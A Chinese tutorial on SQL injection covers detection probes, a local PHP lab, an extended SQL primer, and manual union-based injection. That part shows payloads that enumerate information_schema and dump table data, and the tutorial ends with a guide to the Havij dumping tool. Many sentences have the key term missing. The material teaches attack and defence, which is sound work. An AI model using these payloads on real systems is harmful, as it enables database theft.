一文读懂 SQL 注入

Posted 计算机与网络安全

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了一文读懂 SQL 注入相关的知识,希望对你有一定的参考价值。

一次性进群,长期免费索取教程,没有付费教程。



ID:Computer-network

本文将介绍入的各个方面,并辅以php脚本语言为例,从形成的原因,的分类,靶机环境搭建,如何利用,的工具的介绍和使用方法,由浅入深,帮助大家更加深入的了解!


在Web安全领域中,可以说是无人不知,无人不晓,哪怕是再没有接触过Web安全的程序员,都多少对这个词有所耳闻,它是目前被利用得最多的。


不论是大公司,还是中小公司,绝大多数都被爆出过的,可见的影响范围非常广,从WAF拦截情况来看,它的攻击次数差不多占到了总攻击拦截的三分之一左右,可见攻击量非常大。


其实的原理非常简单,但是对于不了解Web安全的程序员来说,还是比较头疼的,绝大多数开发业务的程序员只有个概念性认识,具体细节理解得模糊不清,故在此将做一个详细的、接地气的讲解,帮助普通程序员也能够很轻松地了解的原理,并在实际的业务开发中能够规避的问题,写出更加安全的代码!


的原因并没有想象中那么复杂,简而言之就是由于程序员在开发Web业务逻辑的时候,没有对传入的外部可控参数进行安全过滤,直接拼接到了SQL语句中,导致数据库引擎被注入了恶意的SQL命令。


根据的不同的方式,可以将分别普通注入,编码注入,报错注入,盲注,延时注入等五种,当然还有其他的分类方式,比如根据传入的参数类型分为数字型与字符型。


一、SQL注入的检验方法


那么如何判断是否存在呢?下面以PHP举个最简单的例子来说明。


正常的情况:

一文读懂 SQL 注入

一文读懂 SQL 注入

当传入参数为 1 and 1=1 时,和传入参数为 1  时返回的结果相同。


语句1:


select id,name from user where id=1


语句2:


select id,name from user where id=1 and 1=1


原因:由于 1=1 为恒真,所以语句1 和语句2 是等价的。

一文读懂 SQL 注入

当传入参数为 1 and 1=2时,和传入参数为 1 时返回的结果不同。


语句1:


select id,name from user where id=1 


语句3:


select id,name from user where id=1 and 1=2


原因:由于1=2为恒假,所以语句3 返回的查询数据为空。


上面的例子详细剖析了判断是否存在的方法,通过拼接 and 1=1 和 and 1=2 到提交参数中,当然这是一个最简单的方法,因为这里的是传入的是整数型,如果传入是字符串的话,那么拼接参数可以调整为 ' and 'a'='a 和 ' and 'a'='b 。


我们继续来举例来说明字符串的情况:


正常情况:

一文读懂 SQL 注入

这里传入的参数为zhangsan,如果我们修改传入的字符为' and 'a'='a 和 ' and 'a'='b 的话,我们一起来看下执行结果。


当传入参数为 ' and 'a'='a 时,执行结果如下:

一文读懂 SQL 注入

和传入参数为 zhangsan 时返回的结果相同。


语句1:


select id,name from user where name='zhangsan'


语句2:


select id,name from user where name='zhangsan' and 'a'='a'


当传入参数为 ' and 'a'='b 时,执行结果如下:

一文读懂 SQL 注入

和传入参数为 zhangsan 时返回的结果不同。


语句1:


select id,name from user where name='zhangsan'


语句3:


select id,name from user where name='zhangsan' and 'a'='b'


另外在上面的例子,演示了get请求,post请求两种最为常见的请求方式,其实cookie请求都是一样的,如果上面的例子中对$_GET['id']进行intval()处理的话,那么是完全可以避免的问题。


二、SQL注入的危害


由于是直接针对数据库进行攻击,所以它的危害是不言而喻。


数据库危害包括:


(1)脱库(直接盗取所有的数据)

(2)篡改数据(修改任意数据表中的数据)


Web服务器危害包括:


(1)在权限较大的情况下,可以直接写入webshell,或者执行系统命令。


(2)在权限较小的情况下,也可以猜解到用户数据表,并且爆破出用户。


权限较大是指以下情况:


(1)当前的数据库用户拥有root或类似root的权限。


(2)当前的数据库用户拥有file权限,并且已经知道了web服务器的web根目录下的可写路径。

三、SQL注入靶机环境的搭建


靶机环境的搭建,基于简单、易用的原则,所以建议新手在下安装集成环境包,这里是以PHP脚本为例,推荐使用PHPstudy集成环境安装包!


该程序包集成最新的Apache+nginx+LightTPD+PHP+mysql+phpMyAdmin+Zend Optimizer+Zend Loader,一次性安装,无须配置即可使用,是非常方便、好用的PHP调试环境。该程序绿色小巧简易迷你仅有32M,有专门的控制面板。总之学习PHP只需一个包。


对学习PHP的新手来说,下环境配置是一件很困难的事;对老手来说也是一件烦琐的事。因此无论你是新手还是老手,该程序包都是一个不错的选择。


全面适合 Win2000/XP/2003/Win7/Win8/Win10/Win2008 操作系统 ,支持Apache、IIS、Nginx和LightTPD。


接下来,我们一步一步地搭建靶机环境:



(2)解压压缩包,然后双击phpStudySetup.exe安装程序,开始自动安装。

一文读懂 SQL 注入

(3)双击安装好的程序,单击“启动”,自动启动nginx+Mysql服务器。

一文读懂 SQL 注入

(4)在web根目录下面,开始写PHP代码来做测试,靶机环境搭建成功!


注意:该环境包支持不同的服务器(apache,nginx,iis)和不同的PHP版本(5.2,5.3,5.4,5.5,5.6,7.0),所以方便我们后期针对不同的PHP版本做测试!

一文读懂 SQL 注入

四、SQL基础


1、SQL简介


(1)什么是SQL?


SQL指结构化查询语句;

SQL使我们能访问数据库;

SQL是一种ANSI(美国国家标准化组织)的标准计算机语言。


(2)SQL能做什么?


面向数据库执行查询   

从数据库中取出数据   

向数据库插入新的记录   

更新数据库中数据   

从数据库删除记录   

创建数据库   

创建表   

创建存储过程   

创建视图   

设置表、存储过程和视图的权限


(3)RDBMS


RDBMS是指关系型数据库管理系统。


RDBMS是SQL的基础,同样也是所有现代数据库系统的基础,如MS SQL Server、IBM DB2、Oracle、MySQL以及Microsoft Access。


RDBMS中的数据存储在被称为表的数据库对象中表是相关的数据项的集合,它由列和行组成。


2、SQL语法


SQL对大小写不敏感。


(1)SQL语句后面的分号


某些数据库系统要求在每条SQL命令的末端使用分号。


分号是在数据库系统中分隔每条SQL语句的标准方法,这样就可以在服务器的相同请求中执行一条以上的语句。


如果使用的是MS Access和SQL Server,则不必在每条SQL语句之后使用分号,不过某些数据库要求必须使用分号。


(2)SQL DML和DDL


可以把SQL分为两个部分:数据操作语言(DML)和数据库定义语言(DDL)。


SQL(结构化查询语句)适用于执行查询的语法。但是SQL语言也包含用于更新、插入和删除记录的语法。查询和更新构成了SQL的DML部分:select、update、delete、insert into 。 


数据库定义语言(DDL)部分使我们有能力创建或删除表,我们也可以定义索引(键),规定表之间的连接,以及事假表间的约束:


Create database、alert database、create table、alert table、drop table、create index、drop index


3、Select查询


User表里面的数据如下:

一文读懂 SQL 注入

查询user表里面的user_name字段和user_age字段的所有数据:


select user_name,user_age from user

一文读懂 SQL 注入

查询user表中所有的字段数据,用 * 表示所有列的名称:


select * from user

一文读懂 SQL 注入

4、Distinct


Distinct选取所有的值的时候不会出现重复的数据,用普通的查询,查询所有:


select * from user

一文读懂 SQL 注入

select distinct user_name,user_age from user


注意:不能有user_id,因为两个Mary的user_id不一样,加上就不算相同数据。

一文读懂 SQL 注入

5、Where


(1)查询user_id等于1 的数据


select * from user where user_id = 1

一文读懂 SQL 注入

(2)查询user_age大于等于12的数据


select * from user where user_age >=12

一文读懂 SQL 注入

(3)查询user_age不等于12的数据


select * from user where user_age <> 12

一文读懂 SQL 注入

6、ADN 和 OR


And和or在where子语句中把两个或多个条件结合起来。如果需要两个条件都成立就是用and,如果只需要其中一个条件成立就使用or:


select * from user where user_name = 'mary' and user_age = 12


需要注意的是SQL使用单引号来环绕文本值,如果是数值则不需要引号。

一文读懂 SQL 注入

select * from user where user_name='mary' or user_age =13

一文读懂 SQL 注入

结合and和or使用圆括号来组成复杂的表达式:


select * from user where (user_name = 'mary' and user_age = 12) or(user_age =13)

一文读懂 SQL 注入

7、Order by


(1)对指定列进行升序排列


select * from user order by user_name

一文读懂 SQL 注入

(2)按照user_id逆序排列


select * from user order by user_id DESC

一文读懂 SQL 注入

(3)按照升序排列user_id逆序排列user_age


SELECT * FROM user order by user_id ASC,user_age DESC

一文读懂 SQL 注入

(4)按照升序排列user_id逆序排列user_age


SELECT * FROM user order by user_age DESC,user_id ASC

一文读懂 SQL 注入

注意:前面的条件优先级更高!


8、Insert


User表:

一文读懂 SQL 注入

插入一行数据 user_id为2 user_name为tom,user_age为12。


注意:如果每一项都有插入的话就不需要在前面列出列名!


insert into user values(2,'tom',12)

一文读懂 SQL 注入

新插入一行数据,只要求user_name为eva:


insert into user(user_name) values('eva')


注意:因为ID设置为自增,所以user_id不为null。

一文读懂 SQL 注入

9、Update


修改user_id为6的数据user_age为14:


update user set user_age=14 where user_id=6

一文读懂 SQL 注入

修改user_id为1的数据user_name为ann,user_age为11:


update user set user_name='ann',user_age=11 where user_id=1

一文读懂 SQL 注入

10、Delete


User表中的所有数据信息如下:

一文读懂 SQL 注入

删除user_age为12的数据:


delete from user where user_age=12

一文读懂 SQL 注入

删除表中的所有数据:


delete from user

一文读懂 SQL 注入

五、SQL的高级用法


1、Top


Top子句用于返回要返回的记录的数目,但并不是所有的数据库都支持top子句。


(1)SQL Server


select top 5 * from user


(2)MySQL


select * from user limit 5


(3)Oracle


select * from user where ROWNUM <= 5


2、Like


User表的初始数据如下:

一文读懂 SQL 注入

(1)找出以li开头的数据


select * from user where user_name like 'li%'

一文读懂 SQL 注入

(2)找出以ry结尾的数据


select * from user where user_name like '%ry'

一文读懂 SQL 注入

(3)找出含有a的数据


select * from user where user_name like '%a%'

一文读懂 SQL 注入

(4)找出第二个字母是a第四个字母是y的数据


select * from user where user_name like '_a_y'

一文读懂 SQL 注入

3、通配符


在搜索数据库中的数据的时候SQL通配符可以替代一个或多个字符。SQL通配符必须与like运算符一起使用。


(1)_ 替代一个字符


找出第二个字母是a第四个字母是y的数据:


select * from user where user_name like '_a_y'

一文读懂 SQL 注入

(2)% 替代一个或多个字符


找出以ry结尾的数据:


select * from user where user_name like '%ry'

一文读懂 SQL 注入

(3)[] 字符列中的任意一个单字符


找出以a或者l开头的数据:


select * from user where user_name like '[al]%'


找出不是a或者l开头的数据:


select * from user where user_name like '[!al]%'


4、In


只要数据满足in里面的一个条件就可以了。


找到user_age是12或者13的数据:


select * from user where user_age in (12,13)

一文读懂 SQL 注入

找到user_name是Harry和Mary的数据:


select * from user where user_name IN ('mary','harry')

一文读懂 SQL 注入

5、Between


选取两个值之间的数据。


查询年龄在12和14之间的数据:


select * from user where user_age between 12 and 14

一文读懂 SQL 注入

查询字母在Alice和John之间的数据:


select * from user where user_name between 'alice' AND'john'

一文读懂 SQL 注入

6、Aliases


指定别名


假设我们有两个表分别是user和Room 。我们分别指定他们为u和r。


(1)不使用别名


select room.room_name,user.user_name,user.user_age from user ,room  where user.user_age=12 and room.room_id = 1

一文读懂 SQL 注入

(2)使用别名


使用别名的时候直接将别名跟在后面,不使用as也可以:


select r.room_name,u.user_name,u.user_age from user as u,room as r  where u.user_age=12 and r.room_id = 1

一文读懂 SQL 注入

7、Join


数据库中的表可以通过键将彼此联系起来,主键是一个列,在这个列中的每一行的值都是唯一的,在表中,每个主键的值都是唯一的,这样就可以在不重复每个表中的所有数据的情况下,把表间的数据交叉捆绑在一起。


以下为表user和表Room的数据:

一文读懂 SQL 注入

一文读懂 SQL 注入

(1)引用两个表


找出在Room of boy相关联的用户信息:


select u.user_name,u.user_age,r.room_name from user as u,room as r 

where u.room_id = r.room_id and r.room_name='room of boy'

一文读懂 SQL 注入

(2)使用关键字join来连接两张表


select u.user_name,u.user_age,r.room_name

from user as u

join room as r

on u.room_id = r.room_id and r.room_name='room of boy'

一文读懂 SQL 注入

8、Inner join


Inner join 与 join 用法一致。


Select u.user_name,u.user_age,r.room_name

from user as u

inner join room as r

on u.room_id = r.room_id and r.room_name='room of boy'

一文读懂 SQL 注入

9、Left join


注意:左连接以左边的表为主体,也就是说会列出左边的表中的所有的数据,无论它是否满足条件。


(1)user在左边


select u.user_name,u.user_age,r.room_name

from user as u

left join room as r

on u.room_id = r.room_id and r.room_name='room of boy'

一文读懂 SQL 注入

(2)Room在左边


select u.user_name,u.user_age,r.room_name

from room as r

left join user as u

on u.room_id = r.room_id and r.room_name='room of boy'

一文读懂 SQL 注入

10、Right join


注意:右连接以右边的表为主体,也就是说会列出右边的表中的所有的数据,无论它是否满足条件。


(1)Room在右边


select u.user_name,u.user_age,r.room_name

from user as u

right join room as r

on u.room_id = r.room_id and r.room_name='room of boy'

一文读懂 SQL 注入

(2)user在右边


select u.user_name,u.user_age,r.room_name

from  room as r

right join user as u

on u.room_id = r.room_id and r.room_name='room of boy'

一文读懂 SQL 注入

11、Union


Union操作符用于合并两个或者多个SELECT语句的结果集。


请注意,UNION内部的select语句必须拥有相同数量的列。列也必须拥有相同的数据类型。同时,每条select语句中的列的顺序必须相同。


下面是Room表和color表的数据:

一文读懂 SQL 注入一文读懂 SQL 注入

select room_name from room

union

select color_name from color

一文读懂 SQL 注入

默认的union选取不同的值,如果想要有相同的值出现就使用union all:


select room_name from room

union all

select color_name from color

一文读懂 SQL 注入

12、Create DB


创建数据库mysqltest:


create database mysqltest

一文读懂 SQL 注入

13、Create table


create table sqltest(

id int,

name varchar(45),

age int,

salary float,

time Date,

)

一文读懂 SQL 注入一文读懂 SQL 注入

14、Constraints


SQL约束,用于限制加入表的数据的类型。


常见约束:not noll、unique、primary key、foreign key、check、default


15、Not null


Not null 约束强制列不接受NULL值。Not null 约束强制字段始终包含值,这意味着,如果不向字段添加值,就无法插入新的字段或者更新记录。


用法,在字段后面加上 not null:

一文读懂 SQL 注入

16、Unique


Unique约束唯一标识数据库中的每一条记录。Primary key约束拥有自动的unique约束。需要注意的是,每个表里面可以拥有多个unique约束,但只能有一个primary key约束。


(1)MySQL用法,unique(字段名)

一文读懂 SQL 注入

(2)SQL Server 、 Oracle 、 MS Access在字段后面加

一文读懂 SQL 注入

(3)命名约束使用constraint

一文读懂 SQL 注入

(4)已经创建了表之后需要添加约束


ALTER TABLE sqltest ADD UNIQUE(Age)

一文读懂 SQL 注入

(5)给已经创建了的表添加约束并命名


ALTER TABLE sqltest ADD constraint unique_name UNIQUE(Age,salary)

一文读懂 SQL 注入

(6)撤销约束


MySQL


在没有给约束命名的情况下(上面的age约束)直接使用字段名就可以了:


ALTER TABLE sqltest DROP INDEX age

一文读懂 SQL 注入

删除后:

一文读懂 SQL 注入

在约束有名字的情况下,直接使用名字就可以了:


ALTER table sqltest  drop index unique_name

一文读懂 SQL 注入

删除后:

一文读懂 SQL 注入

SQL Server 、 Oracle 、 MS Access


ALTER table 表名 drop constraint 约束名


17、Primary key


Primary key约束唯一标识数据库表中的每一条记录,组件必须包含唯一的值。组件列不能包含NULL值。每个表都应该有一个主键,并且每一个表都只能有一个主键。


(1)在MySQL中的用法

一文读懂 SQL 注入

(2)在SQL Server 、 Oracle 和MS Access中的用法

一文读懂 SQL 注入

(3)为已经创建成功的表创建primary key约束


alter table sqltest add primary key(id)

一文读懂 SQL 注入

(4)为已经创建成功的表添加主键约束,以及为多个列定义主键约束


alter table sqltest add constraint pk_name primary key (id,name)

一文读懂 SQL 注入

(5)在MySQL中撤销主键


ALTER  TABLE sqltest DROP PRIMARY KEY

一文读懂 SQL 注入

删除后:

一文读懂 SQL 注入

(6)在SQL Server、Oracle、MS Access中撤销主键


Alter table 表名 drop constraint 主键名


18、Default


Default约束用于向列宗插入默认值。如果没有规定其他值,那么就会将默认值添加到所有的新纪录。


用法:

一文读懂 SQL 注入

当表已经存在的时候,添加默认值:


ALTER TABLE sqltest ALTER NAME SET DEFAULT 'tom'

一文读懂 SQL 注入

一文读懂 SQL 注入

撤销默认值:

一文读懂 SQL 注入

一文读懂 SQL 注入

19、Drop


通过使用DROP语句,可以删掉索引、表和数据库。


(1)删除索引


Drop index index_name on color

一文读懂 SQL 注入

删除后:

一文读懂 SQL 注入

一文读懂 SQL 注入

一文读懂 SQL 注入

(2)删除表


DROP TABLE colorcopy

一文读懂 SQL 注入

删除后:

一文读懂 SQL 注入

(3)清空表,自增主键清零


TRUNCATE TABLE color

一文读懂 SQL 注入

删除后:

一文读懂 SQL 注入

(4)删除数据库


DROP DATABASE mysqltest

一文读懂 SQL 注入

删除后:

一文读懂 SQL 注入

20、Alter


一文读懂 SQL 注入

(1)添加列


Alter table user add salary float

一文读懂 SQL 注入

(2)删除列


Alter table user drop column room_id

一文读懂 SQL 注入

21、Increment


定义主键自增:

一文读懂 SQL 注入

22、Null


默认的,表的列可以存放NULL值。如果表里面的某个列是可选的,那么我们可以在不想改列添加值的情况下插入记录或者更新记录,这意味着该字段以NULL值保存。注意,NULL和0是不等价的,不能进行比较。

一文读懂 SQL 注入

(1)查询NULL值


select * from user where salary is null

一文读懂 SQL 注入

(2)查询非NULL值


select * from user where salary  is not null

一文读懂 SQL 注入

23、数据类型


MySQL主要有三种类型:文本、数字、日期。

一文读懂 SQL 注入

一文读懂 SQL 注入

一文读懂 SQL 注入

一文读懂 SQL 注入

一文读懂 SQL 注入

一文读懂 SQL 注入

一文读懂 SQL 注入

一文读懂 SQL 注入

六、SQL常用函数


1、SQL functions


在SQL当中,基本的函数类型和种类有若干种,函数的基本类型是:


合计函数(Aggregate function)和 Scalar函数


Aggregate 函数,函数操作面向一系列的值,并返回一个单一的值。


Scalar 函数,操作面向某个单一的值,并返回基于输入值的一个单一的值。

2、Avg()


求平均年龄:


select avg(user_age) from user

一文读懂 SQL 注入

求大于平均年龄的用户:


select * from user where user_age>(Select avg(user_age) from user)

一文读懂 SQL 注入

3、Count()


返回列的值的数目(不包含NULL)


注意,可以使用as来给count()取一个别名。

一文读懂 SQL 注入

select count(user_id) from user

一文读懂 SQL 注入

select count(salary) from user

一文读懂 SQL 注入

返回值不同的有多少:


select count(distinct user_name) from user

一文读懂 SQL 注入

查询所有列:


select count(*) from user

一文读懂 SQL 注入

4、Max()


返回最大值,NULL不包括在计算中。

一文读懂 SQL 注入

select max(price) as max_price from commodity

一文读懂 SQL 注入

5、Min()


返回最小值,NULL不包括在计算中。

一文读懂 SQL 注入

select min(salary) poor_man from user

一文读懂 SQL 注入

6、Sum()


返回该列值的总额:

一文读懂 SQL 注入

select sum(salary) from user

一文读懂 SQL 注入

7、Group By


用于结合合计函数,根据一个或多个列对结果集进行分组。

一文读懂 SQL 注入

SELECT cname,SUM(price) FROM commodity GROUP BY cname

一文读懂 SQL 注入

8、Having


在SQL中增加having子句的原因是where不能与合计函数一起使用。用法和where 一样。


SELECT cname,SUM(price) FROM commodity

GROUP BY cname

HAVING  SUM(price)>20

一文读懂 SQL 注入

9、Ucase()


把函数字段的值转化为大写。

一文读懂 SQL 注入

SELECT UCASE(user_name) FROM user

一文读懂 SQL 注入

10、Lcase()


将函数字段转化为小写。

一文读懂 SQL 注入

select lcase(user_name) from user

一文读懂 SQL 注入

11、Mid()


从文本字段中提取字符。

一文读懂 SQL 注入

select mid(user_name,2,2) from user

一文读懂 SQL 注入

12、Round()


Round函数把数值字段舍入为指定的小数位数。

一文读懂 SQL 注入

select round(salary,2) from user

一文读懂 SQL 注入

13、Now()


返回当前时间:


SELECT NOW() FROM user

一文读懂 SQL 注入

七、普通注入详解


普通注入是指最简单的,比如就跟前面的例子一样,外部可控参数没有经过任何安全过滤,直接拼接到SQL语句中,然后传入到数据库引擎执行。


前面的例子中,给出了判断是否有的方法,接下来我们一起来看看如何利用


后面所有测试的数据表中的数据如下图。

一文读懂 SQL 注入

在判断存在之后,可以通过 order by关键字和二分法来判断回显位数,然后使用 union关键字来实现联合查询,将敏感信息回显到web页面上,其实普通注入也可以分为数字型和字符型。


正常的外部可控参数:1


正常的SQL语句:


select id,name from user where id=1


加入order by关键字后,修改后外部可控参数:


1 order by 10


修改后SQL语句:


select id,name from user where id=1 order by 10


注意:这里的10是随意设置的,用来猜解SQL语句查询字段的个数,当然你可以设置为10,25等等。


怎么确定查询字段的个数呢?


因为针对一般过程来说,在web页面上浏览,无法看到源码中完整的SQL语句,所以也不知道到底这条查询语句有多少个查询字段?


所以只能依靠猜解和二分法。猜解就是先随意给一个数字,比如你预估有10个字段,那就写成order by 10, 这里会用到一个数据库引擎的特性:


查询字段个数 >= order by后面的数字,那么该SQL语句会执行成功!


相反的,查询字段个数 < order by后面的数字,那么该SQL语句会报错!


接下来我们用上面的例子来说明:


select id,name from user where id=1 order by  1


执行截图:

一文读懂 SQL 注入

这条SQL语句的查询字段个数为2(id,name),order by后面的数字为1,由于2>=1,所以该SQL语句执行成功。


相反的,


select id,name from user where id=1 order by  3


执行截图:

一文读懂 SQL 注入

这条SQL语句的查询字段个数为2,order by后面的数字为3,由于2<3,所以该SQL语句执行报错。


所以通过上面数据库的特性可以来判断出,该SQL语句到底有几个查询字段。不过这样一个一个地去比较麻烦,在查询字段个数比较多的情况下,比如有20个查询字段,那么就要去尝试很多次,才能判断查询字段个数,有没有一种方法能够,快速判断查询字段的个数呢?


答案是肯定的,这就要利用前面所说的二分法。见名知意,就是把数字范围不断进行二次切分,判断具体数字落在那个区间,然后重复二次切分,直到确认数字大小。


以上面的例子来说明:


第一次尝试猜解的外部可控参数:


1 order by  10


第一次SQL语句:


select id,name from user where id=1 order by 10


执行失败,说明这条SQL语句的个数不足10个。


第二次尝试猜解的外部可控参数:


1 order by  5


第二次SQL语句:


select id,name from user where id=1 order by 5


执行失败,说明这条SQL语句的个数不足5个,但是这里的5是我们通过二分法来重新调整的,原理很简单,查询字段个数肯定在1-5或者6-10之间,先取半值5来做判断,这样一来就可以淘汰一半的数值区间。


第三次外部可控参数:


1 order by  3


第三次SQL语句:


select id,name from user where id=1 order by 3


执行失败,说明这条SQL语句的个数不足3个,但是这里的3也是我们通过二分法来重新调整的,当然这里3也可以换成2,因为只有1,2,3,4四个数字,选2,选3都可以。


第四次外部可控参数:


1 order by  2


第四次SQL语句:


select id,name from user where id=1 order by 2


执行成功,说明查询字段个数就是2。


可见用了4次就可以判断出查询字段的个数,而不用去尝试10次。这就是二分法的使用技巧。


通过order by关键字和二分法猜解到查询字段个数,那么为什么要猜解呢?其实主要是配合后面用union关键字实现联合查询时会用到。


接下来我们要利用查询字段来进行回显,会用到union这个关键字。


重新构造的外部可控参数:


-1 union select 1,2


重新构造的SQL语句:


select id,name from user where id=-1 union select 1,2


执行结果如下:

一文读懂 SQL 注入

这里为什么要用-1 union select 1,2这个外部可控参数,其实还有很多的变形,如外部可控参数:1 and 1=2  union select 1,2 也是可以的,只要保证前面select的查询结果为空就可以了,那么为什么要让前面的select查询结果为空呢?


原因很简单,因为我们要让查询字段变成回显字段,这样我们才能在web页面上查看到敏感的回显内容,这里我们只是回显1,2。如下图。

一文读懂 SQL 注入

如果前面的select查询结果不为空的话,我们可能是无法查看回显信息的,比如源码中只查询一条数据,例如外部可控参数:


1 union select 1,2


SQL语句:


select id,name from user where id=1 union select 1,2


执行截图:

一文读懂 SQL 注入

可见PHP中的fetch()函数只能查询单条记录,然而上面的SQL语言返回的是两条记录,所以只显示第一条记录,没有达到需要回显的效果。


因此在注入利用过程中,最好让前面的select查询结果为空。


那么要是我们把外部可控参数换成-1 union select version(),database(),那么SQL语句就被修改为:


select id,name from user where id=-1 union select version(),database()


执行结果如下:

一文读懂 SQL 注入

这样就通过回显字段就把数据库的版本和当前所在的库名给显示出来了!


到目前为止,我们已经可以通过回显把数据库的敏感信息全部回显到web页面中了。


八、SQL注入的利用


前面详细讲解了如何通过使用order by关键字和union关键字来确定回显字段,下面继续深入讲解如何手工注入脱库!


我们继续修改外部的可控参数:


-1 union select concat(version(),0x23,database(),0x23,version(),0x23),1


那么组合成的SQL语句:


select id,name from user where id=-1 union 

select concat(version(),0x23,database(),0x23,user(),0x23),1


执行结果截图:

一文读懂 SQL 注入

这里简单说明下:


version()   代表的是:Mysql数据库的版本

database()代表的是:当前数据库名

user()        代表的是:当前数据库用户


另外再介绍几个系统变量:


@@version_compile_os 代表的是:操作系统版本

@@datadir   代表的是:数据库数据(索引,表)的存储位置

@@basedir   代表的是:数据库的安装位置


另外介绍下这里SQL语句中使用到的concat()函数,该函数的作用是将字符串连接起来,类似作用的函数还有concat_ws()。


执行截图:

一文读懂 SQL 注入

接下来,讲解如何利用union关键字来查询数据库里的数据。


在介绍之前,先介绍下Mysql在5.0版本之后,都有一个information_schema的系统数据库,这个数据库记录有哪些业务数据库(如test数据库),每个业务数据库中有哪些数据表,每张数据表中包含了哪些字段。


基于上述前提,来我们逐一查询,这里先假定连接数据库的是root用户,拥有所有权限。


针对数据库来说


外部可控参数:


-1 union select schema_name,1 from information_schema.schemata limit 0,1


完整SQL语句:


select id,name from user where id=-1 union 

select schema_name,1 from information_schema.schemata limit 0,1


执行结果:

一文读懂 SQL 注入

这里说明下 information_schema数据库中有一张 schemata 数据表,上面记录了所有数据库名,schema_name就是数据库名对应的字段。


数据库名可以通过limit关键字来逐一查询出来,当然我们也可以使用其他更为简洁的方法一次性查出,如下:


外部可控参数:


-1 union select group_concat(schema_name),1 from information_schema.schemata 


完整SQL语句:


select id,name from user where id=-1 union 

select  group_concat(schema_name),1 from information_schema.schemata


执行截图:

一文读懂 SQL 注入

这里说明下,group_concat()函数是用来做分组聚合处理的,所以可以一次性查出所有的数据库名。


查询出数据库名之后,接下来我们继续查询数据库test的有哪些数据表!


外部可控参数:


-1 union select  group_concat(table_name),1 from information_schema.tables where table_schema='test'


完整SQL语句:


select id,name from user where id=-1 union 

select  group_concat(table_name),1 from information_schema.tables where table_schema='test'


执行截图:

一文读懂 SQL 注入

从上面的图中,可以看到已经将test数据库中的所有的数据表查询出来了,这里说明下:     information_schema数据库中有一张 tables 数据表,上面记录了每个数据库对应了哪些数据表,数据表名对应的字段为table_name。


接下来继续查询出test数据库,user数据表中有哪些字段!


外部可控参数:


-1 union select  group_concat(column_name),1 from information_schema.columns where table_name='user'


完整SQL语句:


select id,name from user where id=-1 union 

select  group_concat(column_name),1 from information_schema.columns where table_name='user' and table_schema='test'


执行截图:

一文读懂 SQL 注入

从上面的图中,可以看到,已经将test数据库,user数据表中的所有的字段名查询出来了,这里说明下:


information_schema数据库中有一张 columns 数据表,上面记录了每个数据库的每张表对应了哪些字段,字段名对应的字段为column_name。


以上内容就是我们对整个数据库的表结构查询,依此方法,可以查询出任何数据库的任何表中的任何字段。


那么我们得到了这些字段以后,接下来就是要查询具体的数据了。


我们知道具体的数据都是放在数据表里的,然而我们已经知道了库名,表名,字段名,所以查询具体的数据是很轻松的。


外部可控参数:


-1 union select group_concat(concat_ws(0x23,id,name,age)),1 from test.user 


完整SQL语句:


select id,name from user where id=-1 union 

select group_concat(concat_ws(0x23,id,name,age)),1 from test.user


执行截图:

一文读懂 SQL 注入

可以看到,user数据表中的所有的数据都被查询出来了,依此类推,其他所有数据库中的所有数据都可以通过这种方式查询出来,这就是。


这种的方法的掌握,需要你比较熟悉数据库的一些特性和函数,当然基于上述的原理,市面上已经开发出来很多自动化注入工具,下面为大家详细介绍一款自动化工具,将会大大减少工作量!


九、SQL注入使用的工具


工具,市面上有很多种,比较主流的有havij,pangolin,明小子,当然还有比较高级的工具,这里作为新手入门,主要讲解下havij,可以在下使用。


havij是一款自动化的工具,其界面如下图。

一文读懂 SQL 注入

它能够帮助人员发现和利用web应用程序的,接下来我们以之前的例子来演示一下它的使用方法:

一文读懂 SQL 注入

(2)点击”Analyze“,表示开始执行SQL扫描

(3)表示检测是哪种数据库类型,包括Mysql,sqlserver,Oracle,Access

(4)选择请求类型,包括POST,GET

(5)判断是数字型还是字符型


根据实际的情况设定好配置选项后,点击"Analyze",该就开始运行扫描了!


运行一会之后,就可以扫描出各种信息,逐一讲解下。首先看”About"

一文读懂 SQL 注入


选择“Tables",点击"Get DBs",可以完整展示所有的数据库名。


选择“test"数据库,再点击”Get Tables",即可在test数据库下面展示出该库下的所有数据表。


选择“user"数据表,单击”Get Columns",即可在user数据表下面展示出该表的所有字段。


选择“id,name,age"字段,单击”Get Data",即可展示“id,name,age"所对应的所有数据。

当然如果你想保存这些数据表或者数据记录,可以通过单击”Save Tables"或者“Save Data"来进行相应的保存!


工具在很大程度上,帮助人员减少了大量的工作量,能够很方便的把数据库里面的所有数据导出。


需要你去深入理解的原理,工具注入能快速地获取数据库的所有数据。


建议新手不要依赖工具,在熟练掌握之后,再考虑使用工具注入,才能事半功倍,单靠工具注入是”脚本小子“的行为,注定是走不远的!

ID:Computer-network

【推荐书籍】